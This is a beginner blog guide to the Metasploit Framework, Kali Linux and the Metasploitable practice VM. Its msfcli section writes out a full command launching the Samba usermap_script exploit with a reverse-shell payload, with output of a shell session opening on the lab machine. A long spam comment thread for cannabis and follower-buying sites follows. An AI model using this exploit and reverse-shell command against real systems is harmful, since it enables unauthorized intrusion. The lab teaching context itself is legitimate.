Penetration testing and cyber defense

Metasploit framework for hackers and pentesters guide

4 min read
Start with metasploit framework

What is Metasploit?

Start with metasploit framework

The Metasploit Framework (MSF) is far more than just a collection of exploits–it is also a solid foundation that you can build upon and easily customize to meet your needs. This allows you to concentrate on your unique target environment and not have to reinvent the wheel.

Metasploit is one of the single most useful security auditing tools freely available to security professionals today, all the way to network information gathering tools and web vulnerability plugins, the Metasploit Framework provides a truly impressive work environment. Also, when speaking about Metasploit we can’t forget to speak about Kali Linux.  

What is Kali Linux?

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. It contains several hundred tools that are geared towards various information security tasks, such as Penetration Testing, Security research, Computer Forensics, and Reverse Engineering.

Kali Linux is developed, funded, and maintained by Offensive Security, a leading information security training company.

you may like also how to install kali Linux properly

what is Metasploitable?

Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques.

The VM will run on any recent VMware products and other visualization technologies such as VirtualBox.

You can download the image file of Metasploitable 2 from SourceForge. Once you have downloaded the Metasploitable VM, extract the zip file, open up the .vmx file using your VMware product of choice, and power it on. Then after a brief time, the system will be booted and ready for action. The default login and password is msfadmin:msfadmin.

Metasploit Architecture

msf architecture

Metasploit is written in Ruby and has been in development for many years one can more easily understand the Metasploit architecture by taking a look under its hood.

In learning how to use Metasploit, take some time to make yourself familiar with its filesystem and libraries. In Kali Linux, Metasploit is provided in the Metasploit-framework package and is installed in the /usr/share/Metasploit-framework directory, the top-level of which is shown below.



In the Metasploit Framework, all modules are Ruby classes.

  • Modules inherit from the type-specific class
  • The type-specific class inherits from the Msf::Module class
  • There is a shared common API between modules

Payloads are slightly different.

  • Payloads are created at runtime from various components
  • Glue together stagers with stages


There are many different interfaces to use with this hacking tool, each with its own strengths and weaknesses. There is no one perfect interface to use with the Metasploit console, although the MSFConsole is the only supported way to access most Metasploit commands.

It is still beneficial, however, to be comfortable with all Metasploit interfaces.

you may want to install kali NetHunter on your android

What is the MSFcli?

The msfcli provides a powerful command-line interface to the framework. This allows you to easily add Metasploit exploits into any scripts you may create.

Command Line Interface Commands

For msfcli help: type msfcli –h.

msf command example
help command msf

Note: when using msfcli, variables are assigned using the “equal to” operator = and that all options are case-sensitive.

root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST= PAYLOAD=cmd/unix/reverse LHOST= E
[*] Please wait while we load the module tree...

       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
       =[ svn r15767 updated today (2012.08.22)

PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ( -> at 2012-06-14 09:58:19 -0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

If you aren’t entirely sure about what options belong to a particular module, you can append the letter O to the end of the string at whichever point you are stuck.

root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

To display available payloads for the current module, append the letter P to the msfcli command line string.

root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules...

Benefits of the MSFcli Interface

  • Supports the launching of exploits and auxiliary modules
  • Useful for specific tasks
  • Good for learning
  • Convenient to use when testing or developing a new exploit
  • Good tool for one-off exploitation
  • Excellent if you know exactly which exploit and options you need
  • Wonderful for use in scripts and basic automation

The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks.

It also doesn’t support any of the advanced automation features of msfconsole.

Closing words

congratulation you have reached the end hope now you know what Metasploit is. if you are having a question don’t keep it for yourself. Share with us. for more information go offensive security official page

About The Author

146 thoughts on “Metasploit framework for hackers and pentesters guide

  1. Undeniably believe that which you stated. Your favourite
    justification appeared to be on the net the easiest thing to
    have in mind of. I say to you, I definitely get annoyed
    even as other folks consider concerns that they just do not recognise
    about. You controlled to hit the nail upon the top and
    defined out the entire thing with no need side effect , folks could take a signal.
    Will likely be again to get more. Thanks

  2. You actually make it seem so easy with your presentation but I find this matter to be really something that I think
    I would never understand. It seems too complex and extremely broad for me.
    I am looking forward for your next post, I will try to get
    the hang of it!

  3. Thanks a lot for sharing this with all folks you really understand what you
    are speaking approximately! Bookmarked. Please also seek advice from my site =).
    We can have a link change agreement among us

  4. Usually I don’t learn article on blogs, but I would
    like to say that this write-up very pressured me
    to try and do so! Your writing taste has been surprised
    me. Thank you, very nice article.

  5. Thank you, I have just been searching for info approximately this topic for a long
    time and yours is the best I’ve discovered so far. But,
    what in regards to the bottom line? Are you certain in regards to the supply?

  6. Excellent beat ! I would like to apprentice whilst you amend your web site, how can i subscribe for a weblog website?
    The account helped me a acceptable deal. I had been tiny bit
    acquainted of this your broadcast offered vivid transparent concept

    Look at my web blog … CBD gummies for sale

  7. My developer is trying to persuade me to move to .net from PHP.
    I have always disliked the idea because of the expenses.
    But he’s tryiong none the less. I’ve been using WordPress on various websites for about a year and am
    nervous about switching to another platform. I have heard good things about
    Is there a way I can import all my wordpress
    posts into it? Any kind of help would be greatly appreciated!

    my blog post :: delta 8 thc products

  8. Simply wish to say your article is as astounding. The clarity
    to your post is just cool and that i could think you’re a professional on this subject.
    Fine together with your permission let me to snatch your feed
    to keep updated with coming near near post.
    Thanks a million and please keep up the enjoyable work.

    Feel free to visit my blog post where to buy CBD

  9. Great post. I was checking continuously this weblog and I’m impressed!
    Very useful information specifically the ultimate section :
    ) I handle such info much. I was looking for this particular
    info for a long time. Thank you and good luck.

    Check out my web site CBD gummies for sale

  10. Thank you for some other fantastic article. Where else may just anyone get that
    type of information in such an ideal manner of writing?
    I’ve a presentation subsequent week, and I’m at
    the look for such information.

    my web page – best CBD

  11. After checking out a few of the blog articles on your blog, I really
    like your way of writing a blog. I saved
    as a favorite it to my bookmark website list and will be checking
    back soon. Please visit my website as well and tell me what you think.

    Also visit my blog post: delta 8 carts

  12. It’s really a nice and helpful piece of info. I am happy that you simply shared
    this useful info with us. Please stay us up to date like this.

    Thanks for sharing.

    Stop by my blog post delta 8 carts

  13. Hello! I know this is kinda off topic however I’d figured
    I’d ask. Would you be interested in exchanging links or maybe guest writing a blog post or vice-versa?
    My site discusses a lot of the same subjects as yours and
    I feel we could greatly benefit from each other.
    If you are interested feel free to send me an email.
    I look forward to hearing from you! Fantastic blog by the way!

    delta 8 area 52 – delta 8 area 52

    delta 8 area 52 – delta 8 THC for sale area 52

    Area 52 delta 8 carts – delta 8 THC area 52

    delta 8 area 52 – delta 8 area 52

    delta 8 THC area 52 – Area 52 Delta 8 THC

  14. I’m truly enjoying the design and layout of your
    website. It’s a very easy on the eyes which makes it much more
    enjoyable for me to come here and visit more often. Did you
    hire out a designer to create your theme? Superb work!

    delta 8 carts Area 52 – delta 8 carts Area 52

    delta 8 carts Area 52 – delta 8 THC for sale area 52

    area 52 delta 8 THC products – delta 8 THC area 52

    area 52 delta 8 THC products – buy delta 8 THC area 52

    delta 8 THC area 52 – Area 52 Delta 8 THC

  15. Fascinating blog! Is your theme custom made or did you download
    it from somewhere? A design like yours with a few simple tweeks would really make
    my blog shine. Please let me know where you got your
    theme. Bless you

    area 52 delta 8 THC products – area 52 delta 8 THC products

    area 52 delta 8 THC products – delta 8 THC area 52

    Area 52 delta 8 carts – delta 8 carts Area 52

    area 52 delta 8 THC products – delta 8 THC area 52

    Area 52 Delta 8 THC – area 52 delta 8 THC products

  16. First of all I want to say excellent blog! I had a quick question which I’d like to
    ask if you don’t mind. I was interested to find out how
    you center yourself and clear your thoughts prior to writing.
    I have had a difficult time clearing my mind in getting
    my thoughts out there. I do enjoy writing but it just seems like the first 10 to 15 minutes are usually lost just trying to figure out how to begin. Any ideas or hints?

    My webpage … purchase Instagram followers; Jodi,

  17. My spouse and I stumbled over here by a different web page and thought I
    might check things out. I like what I see so now i’m following you.

    Look forward to going over your web page again.

    My web-site; purchase Instagram likes, Rodolfo,

  18. Have you ever thought about including a little bit more than just your articles?
    I mean, what you say is valuable and all. Nevertheless think of
    if you added some great images or videos to give your posts
    more, “pop”! Your content is excellent but with pics and video clips, this site
    could undeniably be one of the best in its niche.
    Fantastic blog!

    Review my web page … delta 8 CBD

  19. Woah! I’m really enjoying the template/theme of this site. It’s simple, yet effective.
    A lot of times it’s tough to get that “perfect balance”
    between superb usability and visual appearance.
    I must say you’ve done a great job with this.

    In addition, the blog loads extremely fast for me on Firefox.
    Excellent Blog!

    my blog: cannabis gummies (

  20. Hi there I am so thrilled I found your webpage, I really found you by accident, while I
    was looking on Yahoo for something else, Anyhow I am here now and would just like
    to say thank you for a fantastic post and a all round exciting blog
    (I also love the theme/design), I don’t have time to go through it all at the moment but I have saved it and also added in your RSS feeds, so when I have time I will be back
    to read a lot more, Please do keep up the excellent

    Also visit my web-site: Best THC Gummies

  21. Great post. I used to be checking continuously this blog and I am inspired!
    Extremely useful information particularly the
    closing section 🙂 I deal with such information much.
    I was looking for this particular info for a long time.
    Thanks and best of luck.

    my page … Best THC Gummies

  22. Pretty great post. I just stumbled upon your weblog and wanted to say that I’ve really enjoyed surfing around your
    blog posts. After all I will be subscribing for your rss feed and I hope you write once
    more very soon!

    Here is my web-site – where to find weed

  23. This is the perfect blog for everyone who really wants to find out about this topic.
    You understand so much its almost hard to argue with you (not that I personally
    will need to…HaHa). You definitely put a new spin on a topic that
    has been written about for years. Wonderful stuff,
    just wonderful!

    My webpage :: Seattle Weekly (

  24. It is appropriate time to make some plans for the future
    and it is time to be happy. I’ve read this post and if
    I could I want to suggest you few interesting things or suggestions.
    Perhaps you can write next articles referring to this article.
    I desire to read more things about it!

    my web site :: buy weed online

  25. Just want to say your article is as surprising. The clarity for your submit is
    simply great and i can assume you are knowledgeable in this subject.
    Fine with your permission let me to grasp your feed to stay updated with drawing close post.
    Thanks 1,000,000 and please continue the rewarding work.

    Feel free to visit my page buy tiktok followers

  26. you are truly a excellent webmaster. The site loading speed is incredible.
    It sort of feels that you are doing any distinctive trick.
    In addition, The contents are masterwork. you have performed a magnificent process in this topic!

    my web site :: buy weed near me

  27. Hi I am so delighted I found your blog page, I really found you by mistake, while I was
    looking on Bing for something else, Anyways I am here now and would just like to say kudos for
    a marvelous post and a all round enjoyable blog (I also
    love the theme/design), I don’t have time to look over it all at the moment but I have book-marked it and also
    added in your RSS feeds, so when I have time I will be back to read
    more, Please do keep up the awesome work.

    Also visit my blog – buy weed online (Elias)

  28. I know this if off topic but I’m looking into
    starting my own blog and was wondering what all is required to get setup?

    I’m assuming having a blog like yours would cost a pretty penny?
    I’m not very web savvy so I’m not 100% certain. Any suggestions or advice would be
    greatly appreciated. Thank you

    Also visit my web blog: best kratom

  29. Oh my goodness! Impressive article dude! Many thanks, However
    I am going through difficulties with your RSS.
    I don’t know the reason why I can’t subscribe to it.
    Is there anybody having similar RSS problems?
    Anybody who knows the answer will you kindly respond?

    Feel free to visit my blog … make money selling cbd oil

  30. It is actually a nice and helpful piece of info. I’m glad that you simply shared this
    useful info with us. Please keep us up to date like this.
    Thanks for sharing.

  31. Asking questions are truly nice thing if you are not understanding something completely, except this article presents fastidious understanding even.

  32. I was wondering if you ever considered changing the structure
    of your website? Its very well written; I love what
    youve got to say. But maybe you could a little more in the way
    of content so people could connect with it better. Youve got an awful lot of text for only
    having one or two images. Maybe you could space it out better?

  33. Great work! This is the kind of information that are meant to be shared around the web.
    Shame on Google for now not positioning this publish higher!
    Come on over and consult with my website . Thanks =)

  34. My brother recommended I might like this blog. He was entirely
    right. This post truly made my day. You can not imagine simply how much time I had spent
    for this info! Thanks!

  35. My brother recommended I might like this blog. He was entirely right.
    This post actually made my day. You cann’t imagine just how much time I had spent for this info!

  36. Hi there every one, here every person is sharing
    such know-how, thus it’s good to read this webpage, and I used to pay a visit this blog everyday.

  37. Have you ever considered about including a little bit more than just
    your articles? I mean, what you say is important and all.
    However just imagine if you added some great photos or videos to give your
    posts more, “pop”! Your content is excellent but with images and video clips, this website could
    certainly be one of the greatest in its niche. Terrific blog!

  38. Fantastic post but I was wanting to know if you
    could write a litte more on this subject? I’d be very grateful if you
    could elaborate a little bit more. Kudos!

  39. I know this if off topic but I’m looking into starting my own weblog and was curious
    what all is needed to get set up? I’m assuming having
    a blog like yours would cost a pretty penny?
    I’m not very web smart so I’m not 100% certain. Any suggestions or advice would be greatly appreciated.

  40. Superb website you have here but I was curious about if
    you knew of any user discussion forums that cover the same topics discussed here?

    I’d really like to be a part of online community where I can get suggestions from other knowledgeable
    people that share the same interest. If you have any recommendations, please let me know.

  41. Hello there! This blog post could not be written much
    better! Going through this article reminds me of my previous roommate!
    He constantly kept preaching about this. I am going to forward this article to him.
    Pretty sure he’s going to have a good read. I appreciate you for sharing!

  42. Amazing blog! Do you have any tips for aspiring writers?
    I’m hoping to start my own website soon but I’m a
    little lost on everything. Would you advise starting with a free platform like WordPress or go for a paid option?
    There are so many options out there that I’m completely confused ..
    Any ideas? Thanks a lot!

  43. I was recommended this blog through my cousin. I am now not certain whether or not this publish is written by way of him as no one else recognise such specified approximately my difficulty.
    You are incredible! Thanks!

  44. Hello my friend! I want to say that this post is amazing, nice written and include approximately all
    significant infos. I would like to peer extra posts
    like this .

  45. Ahaa, its fastidious discussion on the topic of this piece of writing here at this website, I have read all that, so now me also commenting at this

  46. Wonderful items from you, man. I’ve keep in mind your stuff prior to and you’re simply
    too wonderful. I really like what you have acquired right
    here, certainly like what you are stating and the best
    way through which you assert it. You make it enjoyable and you continue to take care of to keep it sensible.
    I can’t wait to learn much more from you. That is actually a wonderful website.

  47. Having read this I thought it was really informative.
    I appreciate you spending some time and energy to put this
    short article together. I once again find myself spending a lot of time both reading and leaving comments.
    But so what, it was still worthwhile!

  48. I believe everything said was actually very reasonable.
    However, think on this, what if you wrote a catchier post title?
    I mean, I don’t wish to tell you how to run your blog, however what if you added a
    headline that grabbed a person’s attention? I mean How to start with metasploit
    framework |penetration testing is a little boring.

    You might glance at Yahoo’s front page and note
    how they create article titles to grab viewers to open the links.

    You might add a video or a related picture or two to grab people excited about
    what you’ve written. Just my opinion, it could bring your posts a little livelier.

  49. you are in point of fact a good webmaster.
    The site loading speed is amazing. It sort of feels that you are doing any distinctive trick.
    In addition, The contents are masterwork.
    you’ve performed a excellent activity on this subject!

  50. I’m curious to find out what blog system you have been working with?
    I’m having some small security problems with my latest site and I’d like to
    find something more secure. Do you have any suggestions?

  51. Write more, thats all I have to say. Literally, it seems as
    though you relied on the video to make your point.
    You obviously know what youre talking about, why waste your intelligence on just posting
    videos to your weblog when you could be giving us
    something enlightening to read?

  52. My brother suggested I might like this blog. He was once entirely right.
    This submit truly made my day. You can not consider just
    how so much time I had spent for this info! Thank you!

  53. Excellent post. I used to be checking continuously this blog and I am inspired!
    Very helpful information specially the final phase 🙂 I care for such information a lot.
    I was looking for this particular info for a very
    long time. Thanks and best of luck.

  54. I’m really impressed with your writing skills
    as well as with the layout on your blog. Is this a paid
    theme or did you customize it yourself? Either way keep up the nice quality writing, it’s
    rare to see a nice blog like this one nowadays.

  55. We are a group of volunteers and opening a new scheme in our community.
    Your web site offered us with valuable information to work on. You’ve done an impressive job and our whole community will be
    grateful to you.

  56. I think the admin of this site is genuinely working
    hard for his site, for the reason that here every data is quality based stuff.

    Also visit my page – cbd gummies with terpenes (

  57. Hello there! Would you mind if I share your blog with my facebook
    group? There’s a lot of folks that I think would really enjoy your content.
    Please let me know. Many thanks

  58. I am really enjoying the theme/design of your blog.
    Do you ever run into any internet browser compatibility
    issues? A handful of my blog readers have complained about my site not operating correctly
    in Explorer but looks great in Firefox. Do
    you have any solutions to help fix this issue?

  59. Admiring the time and energy you put into your blog and in depth information you
    offer. It’s nice to come across a blog every once in a while that isn’t the same outdated rehashed information. Wonderful
    read! I’ve saved your site and I’m adding your RSS feeds to
    my Google account.

  60. I all the time used to read post in news papers but
    now as I am a user of internet so from now I am using net
    for articles or reviews, thanks to web.

  61. For newest information you have to visit world wide web and on internet
    I found this web site as a most excellent site for most up-to-date updates.

    Here is my website … area 52

  62. Amazing issues here. I am very glad to look your post.
    Thanks a lot and I am looking forward to contact you.

    Will you kindly drop me a e-mail?

  63. What i do not realize is actually how you’re now not actually a lot more well-favored than you may be right now.
    You are so intelligent. You realize therefore significantly in terms of
    this matter, made me in my view believe it from so
    many various angles. Its like men and women don’t seem to be involved except
    it’s one thing to accomplish with Lady gaga! Your personal stuffs
    great. Always maintain it up!

  64. This design is incredible! You most certainly
    know how to keep a reader entertained. Between your wit and your videos, I
    was almost moved to start my own blog (well, almost…HaHa!)
    Fantastic job. I really loved what you had to say, and more than that, how you presented it.
    Too cool!

    my website; דלתות אלון

  65. If some one desires expert view about running a blog after
    that i suggest him/her to visit this blog, Keep up
    the fastidious job.

  66. I have to thank you for the efforts you’ve put in penning this blog.
    I’m hoping to view the same high-grade content by you later on as well.

    In truth, your creative writing abilities has encouraged me to get my
    very own blog now 😉

Comments are closed.

Discover more from Tgeniusclub

Subscribe now to keep reading and get access to the full archive.

Continue reading